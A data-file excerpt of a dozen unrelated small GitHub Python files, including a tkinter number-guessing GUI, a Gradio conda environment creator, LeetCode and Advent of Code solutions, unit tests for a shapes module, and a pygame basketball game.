\n\n\n########################################\n# Window\nwindow.config (width = 410, height = 360)\nwindow.title (\"Guess the Number\")\n\n\n\n########################################\n# Labels\ne_title = tk.Label(text = \"---------- Guess the Number ----------\", font = (\"Arial\", 15 ))\ne_title.place (x = 50, y = 5)\n\ne_title2 = tk.Label(text = \"(You have five attempts)\", font = (\"Arial\", 10))\ne_title2.place (x = 135, y = 30)\n\ne_question_sign = tk.Label(text = \"¿?\", font = (\"Arial\", 80))\ne_question_sign.place(x = 30, y = 70)\n\ne_equal_sign = tk.Label(text = \"=\", font = (\"Arial\", 20))\ne_equal_sign.place(x = 200, y = 115)\n\ne_division = tk.Label(text = \"-------------------------------------------------------------------------------\")\ne_division.place (x = 1, y = 250)\n\n\n########################################\n# Buttons\nb_one = ttk.Button(text = \"1\", command = one)\nb_one.place(x = 30, y = 280)\n\nb_two = ttk.Button(text = \"2\", command = two)\nb_two.place(x = 120, y = 280)\n\nb_three = ttk.Button(text = \"3\", command = three)\nb_three.place(x = 210, y = 280)\n\nb_four = ttk.Button(text = \"4\", command = four)\nb_four.place(x = 300, y = 280)\n\nb_five = ttk.Button(text = \"5\", command = five)\nb_five.place(x = 30, y = 320)\n\nb_six = ttk.Button(text = \"6\", command = six)\nb_six.place(x = 120, y = 320)\n\nb_seven = ttk.Button(text = \"7\", command = seven)\nb_seven.place(x = 210, y = 320)\n\nb_eight = ttk.Button(text = \"8\", command = eight)\nb_eight.place(x = 300, y = 320)\n\nb_hint = ttk.Button(text = \"Hint\", width = 4, command = give_a_hint)\nb_hint.place(x = 2, y = 2)\n\n\n\nwindow.mainloop()","repo_name":"juanlopezit/guess_the_number","sub_path":"guess_the_number/guess_the_number.py","file_name":"guess_the_number.py","file_ext":"py","file_size_in_byte":6529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"42328321139","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nfont1 = {'family':'serif','color':'blue','size':20}\r\nfont2 = {'family':'serif','color':'darkred','size':15}\r\nplt.title(\"AHMED IS THE BEST\",fontdict=font1)\r\nx=np.array([30,40,20,50])\r\ny=np.array([60,40])\r\n# plt.pie(y) ## pie chart\r\n# plt.bar(x,y) ##Draw a bar\r\nplt.plot(x,marker = \"o\",ms = 20,color = \"r\",mec = \"r\",mfc = \"b\",lw=3)\r\n ##Draw a lines with a marker mec:endge of the marker,mfc:color of the marker,ms:size of marker,lw:widgh of the line\r\n# plt.plot(x,linestyle = \"--\")\r\n ##Draw a line with a defferent styles \":\" dotted, \"--\" dashed,\"-.\" dash dott\r\n\r\nplt.xlabel(\"SHEEEEEEEEEEESH\",fontdict=font1)\r\nplt.ylabel(\"SHAWARMA\",fontdict=font1)\r\nplt.show()\r\n","repo_name":"A7MEDWA3L/STEMATE","sub_path":"mathplotlib.py","file_name":"mathplotlib.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70618269231","text":"from Node import Node\nfrom TreeUtils import TreeGen\n\ndef is_same_tree(a: Node, b: Node) -> bool:\n\n if a is None and b is None: \n return True\n \n if a is not None and b is not None:\n if a.val == b.val: \n return True\n\n return False\n\ndef test_is_same_tree():\n\n t = TreeGen()\n firstTree = t.balanced_tree_identity()\n secondTree = t.balanced_tree_identity()\n\n assert is_same_tree(firstTree, secondTree)\n\ndef test_is_same_tree_correctly_identifies_different_trees():\n\n t = TreeGen()\n firstTree = t.balanced_tree_identity()\n secondTree = t.generate_random_binary_tree(6)\n\n assert is_same_tree(firstTree, secondTree) == False\n\nif __name__ == '__main__':\n test_is_same_tree()\n test_is_same_tree_correctly_identifies_different_trees()","repo_name":"Lorenzo-bulosan/Blind75","sub_path":"SameTree.py","file_name":"SameTree.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"73077269550","text":"from gradio import *\nimport subprocess\nimport time\nimport os\n\nwith Blocks(title='Python 机器学习环境创建工具') as demo:\n HTML('

    Python 机器学习环境创建工具

    ')\n textbox = Textbox(label='环境名称')\n python_vision = Textbox(label='Python 版本')\n Ml_vision = Radio(['JupyterLab + Pytorch环境','JupyterLab + Tensorflow环境'],label='初始环境',info='',value='')\n with Row():\n button = Button('创建',variant='primary')\n display_env_button = Button('刷新环境')\n Clear = Button('清除')\n with Tab(label='显示') as tab:\n code_disply = Code(label='已有环境') \n with Tab(label='创建'):\n code_create = Code(label='创建进度')\n \n def create_env(name,python_vision,Ml_vision):\n #print(len(name),len(python_vision))\n if len(name) >0 and len(python_vision) >0:\n time.sleep(0.005)\n text = \"创建环境名称:\" + name + \"\\n\" + \"创建的Python 版本:\" + python_vision + \"\\n\"\n commond = f\"conda create -n {name} python={python_vision}\"\n process = subprocess.run(commond,input=\"y\\n\",stdout=subprocess.PIPE,stderr=subprocess.STDOUT,universal_newlines=True,shell=True)\n for output in process.stdout:\n text += output\n yield text\n if Ml_vision =='JupyterLab + Pytorch环境':\n commond =f\"\"\"conda activate {name}\\n\n conda install pytorch torchvision torchaudio pytorch-cuda=11.7 -c pytorch -c nvidia\\n\n pip install jupyter lab\\n\"\"\"\n process = subprocess.run(commond,input=\"y\\n\",stdout=subprocess.PIPE,stderr=subprocess.STDOUT,universal_newlines=True,shell=True)\n for output in process.stdout:\n text += output\n yield text\n\n\n else:\n time.sleep(0.005)\n return \"\\n请输入环境名称和Python版本\"\n\n def disply_env():\n text = \"当前环境:\\n\"\n commond = \"conda env list\"\n process = os.popen(commond)\n for outputs in process:\n text += outputs\n yield text\n def reset_state():\n return \"\", \"\",\"\",\"\",\"\",\n\n Clear.click(reset_state,outputs=[code_disply,code_create,textbox,python_vision],show_progress=True)\n display_env_button.click(disply_env,None,code_disply)\n button.click(create_env,[textbox,python_vision,Ml_vision],code_create)\n \n\n\nif __name__ == '__main__':\n demo.queue(concurrency_count=5,max_size=20).launch(server_port=52012)\n ","repo_name":"wujianming1996/gradio_windows_conda_create_env","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"16337094440","text":"from particles import *\nimport time_integral as timeinteg\nimport pair_force as pair\nimport time\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\np = particles(256, 30)\np.populate_random()\n\npair = pair.PairForce(p, pair.LJ(0.0,0.9, 0.2))\ntimeint = timeinteg.Verlet(p, 1e-4)\n\np.make_disk()\n\nfig, ax = plt.subplots()\nln = plt.scatter(p.r[:,1], p.r[:,0], s=50)\nperiods=50\nrelist=2\n\ndef update(frame):\n start = time.time()\n\n gpu.copy_to_device(p)\n\n for i in range(0,periods):\n if i % relist == 0: pair.re_neighbour()\n pair.iter_pairs_cuda()\n timeint.integral_cuda()\n\n gpu.copy_to_host(p)\n\n end = time.time()\n print(periods/(end - start))\n\n data = np.c_[p.r[:, 1], p.r[:, 0]]\n ln.set_offsets(data)\n return ln,\n\nani = animation.FuncAnimation(fig, update, interval=20)\nplt.show()\n","repo_name":"shaltiel/minimal_particle_pyCUDA","sub_path":"simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"75167450351","text":"def longestConsecutive(nums):\n # 这个解法首先sort了\n # 其实时间复杂度就超了,不好\n if not nums:\n return 0\n nums = sorted(nums)\n res = 1\n temp = 1\n\n for i in range(1, len(nums)):\n if nums[i] == nums[i - 1]:\n continue\n if nums[i] - nums[i - 1] == 1:\n temp += 1\n else:\n temp = 1\n res = max(res, temp)\n return res\n\n\nnums = [0, 3, 7, 2, 5, 8, 4, 6, 0, 1]\nnums = [100, 4, 200, 1, 3, 2]\nnums = [1, 2, 0, 1]\nnums = [0, 0, 0, 0, 0, 1]\nprint(longestConsecutive(nums))\n\n\ndef longestConsecutive2(nums):\n # 边界考虑\n\n # 1. 空数组\n # 2. 一个位置的数组\n # 3. 相邻重复怎么算?\n\n # 我上面那个解法是从1开始计数\n # 这种从1开始计数的这是我第一次做到\n\n set_nums = set(nums)\n\n res = 0\n for i in nums:\n if i-1 not in set_nums:\n temp = 1\n while i + 1 in set_nums:\n temp += 1\n i += 1\n res = max(res, temp)\n return res\n\nprint(longestConsecutive2(nums))\n","repo_name":"ConnorSiXiong/Top_2000","sub_path":"Top_128_Set.py","file_name":"Top_128_Set.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"71904330992","text":"import numpy as np\nimport numpy.linalg as la\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\n\n\nX = 50\n\n\ndef loss_function(y, x, w):\n\n # y_hat = (x[0] * w[0]) + (x[1] * w[1]) - (x[0] * w[0] * x[1] * w[1])\n # y_hat = 1 / (1 + np.exp2(-1 * y_hat))\n\n # return (y - y_hat) ** 2\n\n return (y - 1 + ((1 - (x[0]*w[0])) * (1 - (x[1]*w[1])))) ** 2\n\n\n\ndef plot_loss():\n fig = plt.figure()\n fig1 = fig.add_subplot(projection='3d')\n\n C = [\n [1, -0.78], \n [-0.78, 1]\n ]\n A = la.cholesky(C)\n xa = np.random.randn(X//2, 2)\n xa = np.dot(xa, A)\n\n xb = np.random.randn(X//2, 2)\n xb = np.dot(xb, A) + 2\n\n x_hat = np.vstack([xa, xb])\n x_hat = np.interp(x_hat, (x_hat.min(), x_hat.max()), (0, 1))\n y_hat = np.hstack([np.zeros(X//2), np.ones(X//2)]).reshape(-1, 1)\n\n x = np.arange(0, 1, 1/X)\n y = np.arange(0, 1, 1/X)\n x1, x2 = np.meshgrid(x, y)\n\n loss = np.zeros((X, X))\n\n for i in range(X):\n for j in range(X):\n \n lossSum = 0\n for k in range(X):\n \n lossSum += loss_function(y_hat[k], x_hat[k], [x1[i,j], x2[i,j]])\n\n loss[i,j] = lossSum / X\n\n surf = fig1.plot_surface(x1, x2, loss, cmap=cm.coolwarm, linewidth=0, antialiased=False)\n\n fig.colorbar(surf)\n plt.show()\n\nif __name__ == \"__main__\":\n plot_loss()","repo_name":"jamesstocktonj1/BitstreamNeuralNetwork","sub_path":"Model/GradientPerceptron/plotloss.py","file_name":"plotloss.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"7538892764","text":"def filter_noncruising(trip_list, keep_only_driving=True,\n keep_all_fhv=False, silent=True):\n\n # keep_list = np.repeat(0, len(trip_list))\n # for i in range(len(trip_list)):\n if keep_all_fhv == True:\n # if trip_list[i]['label'] == 'cruising' or \\\n # trip_list[i]['fhv'] == True:\n trip_list = list(filter(lambda x: x['label'] == 'cruising' or \\\n x['fhv'] == True, trip_list))\n # keep_list[i] = 1\n else:\n trip_list = list(filter(lambda x: x['label'] == 'cruising', trip_list))\n # if trip_list[i]['label'] == 'cruising':\n # keep_list[i] = 1\n\n # trip = trip_list[0]\n # read = trip['reduction'][1]\n if keep_only_driving == True:\n for trip in trip_list:\n # duc = trip['reduction']\n # keep_list = np.repeat(0, len(duc))\n trip['reduction'] = list(filter(lambda x: 'mode' in x and \\\n x['mode'] == 'driving', trip['reduction']))\n # for i in range(len(duc)):\n # if 'mode' in duc[i] and duc[i]['mode'] == 'driving':\n # keep_list[i] = 1\n\n return trip_list","repo_name":"jenizar/traffic-cruising-DSSG2017","sub_path":"pipeline/filter_noncruising.py","file_name":"filter_noncruising.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"43608588881","text":"from typing import Final\n\nfrom shopworks_onsite_edp.models import EDPDocumentModel\n\nTAG_BRACKET: Final[str] = \"----\"\nDATA_SEPERATOR: Final[str] = \": \"\nCARRIAGE_RETURN: Final[str] = \"\"\n\nREQUIRED_BLOCKS: Final[list[str]] = [\n 'Order',\n 'Customer',\n]\nVALID_BLOCKS: Final[list[str]] = [\n 'Order',\n 'Customer',\n 'Contact',\n 'Design',\n 'Products',\n 'Payment',\n]\n\n\ndef _build_block(block_name: str, data: dict[str, str | int | float | None]) -> str:\n if block_name not in VALID_BLOCKS:\n raise ValueError(\"invalid block\")\n\n block_text = \"\"\n block_text += f\"{TAG_BRACKET} Start {block_name} {TAG_BRACKET}\\n\"\n\n for key, value in data.items():\n if value is not None:\n block_text += f\"{key}{DATA_SEPERATOR}{value}\\n\"\n\n block_text += f\"{TAG_BRACKET} End {block_name} {TAG_BRACKET}\\n\"\n\n return block_text\n\n\ndef build_document(data: dict[str, dict[str, str | int | float | None]]) -> str:\n if not all(block.lower() in data for block in REQUIRED_BLOCKS):\n raise ValueError(\"not all required blocks present\")\n document = \"\"\n for block in VALID_BLOCKS:\n if block.lower() in data and data[block.lower()] is not None:\n document += _build_block(block, data[block.lower()])\n return document\n\n\nif __name__ == '__main__':\n document_data = {\n \"order\": {\n \"ExtOrderID\": \"TEST\",\n \"date_External\": \"08/05/2022\",\n \"id_OrderType\": 1,\n \"date_OrderPlaced\": \"08/05/2022\"\n },\n \"customer\": {\n \"id_Customer\": 5547,\n },\n }\n document_model = EDPDocumentModel(**document_data).dict()\n print(document_model)\n print(build_document(document_model))\n","repo_name":"darbiadev/shopworks-onsite-edp","sub_path":"src/shopworks_onsite_edp/lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20957535433","text":"#Based on: https://www.youtube.com/watch?v=8ext9G7xspg&t=1949s\r\n\r\n#string concatenation (aka how to put strings together)\r\n\r\nadj = input(\"Adjective: \")\r\nverb = input(\"Verb: \")\r\nverb2 = input(\"Verb: \")\r\nfamous_person = input(\"Famous person: \")\r\n\r\nmadlib = f\"Computer programming is so {adj}! It makes me so excited because \\\r\n I love to {verb}. Stay hydrated and {verb2} like you are {famous_person}!\"\r\n\r\nprint(madlib)\r\n\r\n\r\n","repo_name":"chriscaboverde/Practice-Python","sub_path":"Madlibs.py","file_name":"Madlibs.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32368445339","text":"import sys\n\ndef main():\n with open(sys.argv[1], 'r') as f:\n data = f.readlines()\n data = [[list(map(int, elem.split('-'))) for elem in row.split(',')] for row in data]\n count = 0\n for line in data:\n elf1 = line[0]\n elf2 = line[1]\n if elf1[0] <= elf2[0] and elf2[1] <= elf1[1] or elf2[0] <= elf1[0] and elf1[1] <= elf2[1]:\n count += 1\n print(count)\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"zackeua/AdventOfCode","sub_path":"2022/dag4/4_1.py","file_name":"4_1.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8715899420","text":"#!/usr/bin/python3\n\"\"\"Base Class Test Module\"\"\"\nimport unittest\nimport json\nfrom models.base import Base\nfrom models.rectangle import Rectangle\nfrom models.square import Square\n\n\nclass BaseTest(unittest.TestCase):\n \"\"\"Class to test Base Module\"\"\"\n\n def test_0_base_no_arg(self):\n \"\"\"Instance with default id 1\"\"\"\n self.first = Base()\n self.assertEqual(self.first.id, 1)\n\n def test_1_base_no_arg_2(self):\n \"\"\"Instance with default id 2. New instance without args\"\"\"\n self.second = Base()\n self.assertEqual(self.second.id, 2)\n\n def test_2_base_arg(self):\n \"\"\"Instance with custom id -5. New instance with arg == -5\"\"\"\n self.third = Base(-5)\n self.assertEqual(self.third.id, -5)\n\n def test_3_base_no_arg_3(self):\n \"\"\"Instance with default id 3. New instance without args after\n an instance with args\n \"\"\"\n self.fourth = Base()\n self.assertEqual(self.fourth.id, 3)\n\n def test_4_to_json_string(self):\n \"\"\"to_json_string method test\"\"\"\n ex_dict = {'one': 1, 'two': 2, 'three': 3}\n str_dict = json.dumps([ex_dict])\n base_json = Base.to_json_string([ex_dict])\n self.assertEqual(base_json, str_dict)\n\n ex_dict_1 = {'one': 1, 'two': 2, 'three': 3}\n str_dict_1 = json.dumps([])\n base_json_1 = Base.to_json_string(ex_dict_1)\n self.assertEqual(base_json_1, str_dict_1)\n\n ex_dict_2 = None\n str_dict_2 = str([])\n base_json_2 = Base.to_json_string(ex_dict_2)\n self.assertEqual(base_json_2, str_dict_2)\n\n def test_5_json_string_to_file(self):\n \"\"\"save_to_file method test\"\"\"\n\n r1 = Rectangle(10, 7, 2, 8)\n r2 = Rectangle(2, 4)\n\n Rectangle.save_to_file([r1, r2])\n\n with open(\"Rectangle.json\", \"r\") as file:\n test_str = file.read()\n\n dict_1 = r1.to_dictionary()\n dict_2 = r2.to_dictionary()\n expect_str = Base.to_json_string([dict_1, dict_2])\n self.assertEqual(test_str, expect_str)\n\n s1 = Square(10, 2, 8)\n s2 = Square(4)\n\n Square.save_to_file([s1, s2])\n\n with open(\"Square.json\", \"r\") as file:\n test_str_1 = file.read()\n\n dict_1 = s1.to_dictionary()\n dict_2 = s2.to_dictionary()\n expect_str_1 = Base.to_json_string([dict_1, dict_2])\n self.assertEqual(test_str_1, expect_str_1)\n\n def test_6_from_json_string(self):\n \"\"\"from_json_string method test\"\"\"\n\n my_list = [{'one': 1, 'two': 2, 'three': 3},\n {'four': 4, 'five': 5, 'six': 6}]\n\n my_JSON_str = json.dumps(my_list)\n my_JSON_list = json.loads(my_JSON_str)\n\n test_str = Base.to_json_string(my_list)\n test_JSON_list = Base.from_json_string(test_str)\n\n self.assertEqual(test_JSON_list, my_JSON_list)\n\n test_JSON_list_1 = Base.from_json_string(None)\n\n self.assertEqual(test_JSON_list_1, [])\n\n test_JSON_list_2 = Base.from_json_string(\"[]\")\n\n self.assertEqual(test_JSON_list_2, [])\n\n def test_7_create(self):\n \"\"\"create method test\"\"\"\n\n rect_list = [{'width': 5, 'height': 4, 'x': 3, 'y': 2, 'id': 41},\n {'height': 5, 'id': 42}]\n sq_list = [{'size': 4, 'x': 3, 'y': 2, 'id': 43},\n {'size': 5, 'id': 44, 'x': 2}]\n\n rect_0 = Rectangle.create(**(rect_list[0]))\n str_test = rect_0.__str__()\n str_expect = \"[Rectangle] (41) 3/2 - 5/4\"\n self.assertEqual(str_test, str_expect)\n\n rect_1 = Rectangle.create(**rect_list[1])\n str_test_1 = rect_1.__str__()\n str_expect_1 = \"[Rectangle] (42) 0/0 - 1/5\"\n self.assertEqual(str_test_1, str_expect_1)\n\n sq_0 = Square.create(**sq_list[0])\n str_test_2 = sq_0.__str__()\n str_expect_2 = \"[Square] (43) 3/2 - 4\"\n self.assertEqual(str_test_2, str_expect_2)\n\n sq_1 = Square.create(**sq_list[1])\n str_test_3 = sq_1.__str__()\n str_expect_3 = \"[Square] (44) 2/0 - 5\"\n self.assertEqual(str_test_3, str_expect_3)\n\n def test_8_load_from_file(self):\n \"\"\"load_from_file method test\"\"\"\n\n rect_list = [{'width': 5, 'height': 4, 'x': 3, 'y': 2, 'id': 45},\n {'height': 5, 'id': 46}]\n sq_list = [{'size': 4, 'x': 3, 'y': 2, 'id': 47},\n {'size': 5, 'id': 48, 'x': 2}]\n\n r1 = Rectangle.create(**(rect_list[0]))\n r2 = Rectangle.create(**rect_list[1])\n Rectangle.save_to_file([r1, r2])\n\n sq1 = Square.create(**sq_list[0])\n sq2 = Square.create(**sq_list[1])\n Square.save_to_file([sq1, sq2])\n\n rect_list_test = Rectangle.load_from_file()\n square_list_test = Square.load_from_file()\n\n rect_0 = rect_list_test[0]\n str_test = rect_0.__str__()\n str_expect = \"[Rectangle] (45) 3/2 - 5/4\"\n self.assertEqual(str_test, str_expect)\n\n rect_1 = rect_list_test[1]\n str_test_1 = rect_1.__str__()\n str_expect_1 = \"[Rectangle] (46) 0/0 - 1/5\"\n self.assertEqual(str_test_1, str_expect_1)\n\n sq_0 = square_list_test[0]\n str_test_2 = sq_0.__str__()\n str_expect_2 = \"[Square] (47) 3/2 - 4\"\n self.assertEqual(str_test_2, str_expect_2)\n\n sq_1 = square_list_test[1]\n str_test_3 = sq_1.__str__()\n str_expect_3 = \"[Square] (48) 2/0 - 5\"\n self.assertEqual(str_test_3, str_expect_3)\n","repo_name":"gcifuentess/holbertonschool-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/tests/test_models/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":5449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8105772450","text":"import pymunk\nimport pygame\nfrom pygame import mixer\nfrom classes.Ball import Ball\nfrom classes.Line import Line\nfrom classes.BasketNet import BasketNet\nfrom classes.Block import Block\nfrom classes.TimeBar import TimeBar\nimport random\nfrom classes.ThrowingAimer import ThrowingAimer\nfrom classes.BasketballRing import BasketallRing\nfrom classes.Rectangale import Rectangale\nfrom classes.Button import button\nfrom datetime import datetime\nimport threading\n\nimport Images\nimport sounds\n\npygame.init()\n\n\nclass Game:\n \"\"\"\n A class used to represent the whole game\n \"\"\"\n\n def __init__(self):\n self.running, self.quit_game = True, False # running - checks if the game still runs, quit_game - checks is app should quit\n self.display_menu = False # bool that checks if to go to the menu screen after leaving game\n self.display_losing_screen = False # bool that checks if to go to the losing screen after leaving game\n self.display_winning_screen = False # bool that checks if to go to the winning screen after leaving game\n\n self.win = pygame.display.set_mode((600, 600)) # creating the game window\n pygame.display.set_caption(\"Basketball Game\")\n self.font_name = 'freesansbold.ttf' # setting the basic font\n self.clock = pygame.time.Clock() # creating the clock of the game\n self.space = pymunk.Space() # creating the space of the game using pymunk\n self.space.gravity = 0, 1000 # creating gravity of the space - that way dynamic objects will drawn down\n self.FPS = 80 # creating fps of the game\n\n self.defiently_not_scored = False # a bool that check if the player definitely didn't scored\n self.scored = False # a bool that check if the player scored\n self.basketball_collosions_with_floor = 0 # a counter that counter the collisions the ball have with the floor\n self.score = 0 # the score the player earned\n self.new_level = True # check if new level need to be shawn\n self.mouse_click = False # checks if mouse clicked - with it it's you can know when to throw the ball\n # self.start_bird_sound_flag = False\n self.update_scoreboared = True # flag that tells if the scoreboard need to be updated\n\n self.start_timer = False\n self.timer = 0\n\n self.ball_throwed = False # check if the ball has been throw; if he is on the air\n # self.start_bird_sound_timer = threading.Timer(3, self.start_bird_sound)\n # self.start_bird_sound_timer.daemon = True\n # self.start_bird_sound_timer.start()\n\n self.collosions_with_basket_sensors = {\n # a direction that contains 3 booleans that checks if there wah collision\n # between the ball and the sensors\n \"upper_rect\": False,\n \"lower_rect\": False,\n \"left_rect\": False\n }\n\n self.BLUE = (33, 32, 200)\n self.CYAN = (40, 255, 250)\n self.exit_button = button(self.BLUE, 10, 10, 50, 25, 'Home', 20) # creating the exit button\n\n self.swish_sound_file = 'Sounds/Swish.wav' # the sound when the player scores a shot\n self.bounce_sound_file = 'Sounds/BOUNCE1.wav' # the sound when the ball collide with floor and the basket net\n self.timer_started = False\n\n self.ball_moving_trap_timer_started = False\n self.start_the_ball_trap = False\n # self.birds_sound = threading.Timer(1, self.play_sound,args=(self.swish_sound_file))\n # self.birds_sound= threading.Timer(1, self.play_sound, args=(self.swish_sound_file,))\n # self.birds_sound.start()\n self.welcome_to_the_game_message = False # a bool that checks if the welcome message had been shown\n self.was_welcome_to_the_game_message_timer = False # a bool that checks if the timer to stop the welcome message started\n\n self.traps = { # a direction that contains a specific int the traps have\n \"moving_ball\": 1,\n \"moving_basket_net\": 2,\n \"moving_block\": 3\n }\n\n self.traps_state = { # a direction that contains the traps stats; true if they are triggered\n \"moving_ball\": False,\n \"moving_basket_net\": False,\n \"moving_block\": False\n }\n\n self.time_for_each_level = { # a direction that contains how much time each level have( in seconds)\n \"0-1\": 15,\n \"1-2\": 10,\n \"2-3\": 15,\n \"3-4\": 15,\n \"4-5\": 10,\n \"5-6\": 15,\n \"6-7\": 10,\n \"7-8\": 15,\n \"8-9\": 10,\n \"9-10\": 15\n }\n\n self.current_level_time = self.time_for_each_level[\"0-1\"] # contains the current time a level has\n self.star_date_level = None # the starting date the game had a moment after the game start\n self.passed_level = False # check if level passes\n self.player_won = False # check if player won\n self.player_lost = False # check if player lost\n\n def redraw_window(self, basketball, floor, basket_net, aimer, block, time_bar, background_surface, background_rect,\n basketball_throwed=False):\n \"\"\"\n A function whose purpose is to draw all the game objects, buttons, texts on the screen\n ------\n :param basketball: Ball\n the basketball that need to be drawn\n :param floor: Line\n the floor of the game\n :param basket_net: BasketNet\n the basket net of the game\n :param aimer: ThrowingAimer\n the intention of the ball\n :param block: Block\n the block\n :param time_bar: TimeBar\n the time bar\n :param background_surface: pygame.image.load\n the background image surface\n :param background_rect: image.rect\n the background image rect\n :param basketball_throwed: bool\n check if the aimer need to be drawn\n \"\"\"\n self.win.fill((255, 255, 255)) # clear the win\n # draw background\n self.win.blit(background_surface, background_rect) # displaying the image\n self.display_score() # displaying the score\n time_bar.draw(self.current_level_time - self.timer_counter) # displaying the time bar\n\n if self.welcome_to_the_game_message == False: # check if need to draw the welcome message\n self.display_welcome_stage()\n # print(\"asa\")\n\n basketball.draw() # draw ball\n floor.draw() # draw floor\n basket_net.draw() # draw basket net\n if self.traps_state[\"moving_block\"] == True: # check if the block trap is triggered, if so drawing the block\n block.draw()\n block.move_up_and_down(250, 80) # move the block\n\n if self.traps_state[\"moving_basket_net\"]: # check if the basket net trap is triggered, if so trigger her\n basket_net.move_basket()\n else:\n basket_net.stop_move_basket()\n self.exit_button.draw(self.win) # displaying exit button\n # upper_rect_temp.draw()\n # lower_rect_temp.draw()\n # left_sided_rect_temp.draw()\n if not basketball_throwed: # check if the need to be drawn, if so drawing it\n aimer.set_p1(basketball.body.position)\n aimer.set_p2(pygame.mouse.get_pos())\n aimer.draw()\n\n def start_game(self):\n \"\"\"\n A function whose purpose is to start the game; this is the main loop of the game\n \"\"\"\n self.running = True\n\n background_surface = pygame.image.load('Images/park_background_1.png') # loading the image\n background_surface = pygame.transform.scale(background_surface, (600, 600))\n background_rect = background_surface.get_rect(center=(300, 300))\n\n collosion_types = { # All of the collision types\n \"floor\": 0,\n \"basketball\": 1,\n \"basket_ring\": 2,\n \"upper_rect\": 3,\n \"lower_rect\": 4,\n \"left_rect\": 5,\n \"basket_lines\": 6,\n \"block_trap\": 7\n }\n\n basketball = Ball(self.space, self.win, 100, 400, 10, collosion_types[\"basketball\"]) # creating the basketball\n aimer = ThrowingAimer(self.win, basketball.get_pos(), pygame.mouse.get_pos(), 4) # creating the aimer\n floor = Line(self.space, self.win, (0, 550), (800, 550), 5,\n collision_type=collosion_types[\"floor\"]) # creating the floor\n basket_net = BasketNet(self.space, self.win, collosion_types) # creating the basket net\n block = Block(self.space, self.win, 350, 240, 10, 100, collosion_types[\"block_trap\"],\n (0, 0, 0)) # creating the block\n time_bar = TimeBar(self.win) # creating the time bar\n\n handler = self.space.add_collision_handler(collosion_types[\"basketball\"], collosion_types[\n \"basket_ring\"]) # creating a handler for basketball and the net collision\n upper_rect_handler = self.space.add_collision_handler(collosion_types[\"basketball\"], collosion_types[\n \"upper_rect\"]) # creating a handler for basketball and the upper sensor collision\n lower_rect_handler = self.space.add_collision_handler(collosion_types[\"basketball\"], collosion_types[\n \"lower_rect\"]) # creating a handler for basketball and the lower sensor collision\n left_rect_handler = self.space.add_collision_handler(collosion_types[\"basketball\"], collosion_types[\n \"left_rect\"]) # creating a handler for basketball and the left sensor collision\n basketball_floor_handler = self.space.add_collision_handler(collosion_types[\"basketball\"], collosion_types[\n \"floor\"]) # creating a handler for basketball and the floor collision\n basketball_basket_line_handler = self.space.add_collision_handler(collosion_types[\"basketball\"],\n collosion_types[\n \"basket_lines\"]) # creating a handler for basketball and the lines collision\n\n handler.begin = self.begin # making that when the ball first collide with net it will go to these function\n # making that when the ball collide with the sensors it will go to these functions\n upper_rect_handler.begin = self.upper_rect_begin\n lower_rect_handler.begin = self.lower_rect_begin\n left_rect_handler.begin = self.left_rect_begin\n\n basketball_floor_handler.post_solve = self.basketball_floor_post_solve # making that when the ball stops colliding with floor it will go to these function\n # making that when the ball first collide with floor or lines it will go to these function\n basketball_floor_handler.begin = self.basketball_collision_with_floor_begin\n basketball_basket_line_handler.begin = self.basketball_collision_with_floor_begin\n\n self.ball_moving_trap_timer_started = False\n # swish_sound_file = 'Sounds/Swish.wav'\n # bounce_sound_file = 'Sounds/BOUNCE1.wav'\n\n time_bar.current_level_time = self.current_level_time # setting the current level time of the time bar\n self.reset_traps_state(block, basketball) # checking if traps should be triggered\n self.new_level = False # it's not a new level\n self.start_date_time = datetime.now() # setting the start date date\n self.timer_counter = 0\n while self.running:\n self.timer_counter = (datetime.now() - self.start_date_time).total_seconds()\n\n if self.passed_level == False: # checks if player won\n self.check_player_losing_state()\n if self.score == 10:\n self.player_won = True\n\n if self.player_won: # if player won - leaving game to the winning screen\n self.running = False\n self.display_winning_screen = True\n if self.player_lost: # if player lost - leaving game to the losing screen\n self.running = False\n self.display_losing_screen = True\n\n for event in pygame.event.get(): # checking events\n if event.type == pygame.QUIT: # if player want to quit app - quit app\n self.running = False\n self.quit_game = True\n elif event.type == pygame.MOUSEBUTTONDOWN: # if the player pressed\n if self.exit_button.isOver(\n pygame.mouse.get_pos()): # check if is on the exit button or on the screen\n self.running = False # stop loop\n self.display_menu = True # go to menu\n else:\n self.mouse_click = True # making mouse click true - the ball will be thrown\n elif event.type == pygame.MOUSEMOTION: # if the mouse have move\n if self.exit_button.isOver(\n pygame.mouse.get_pos()): # if the mouse on exit button change his color, else reset 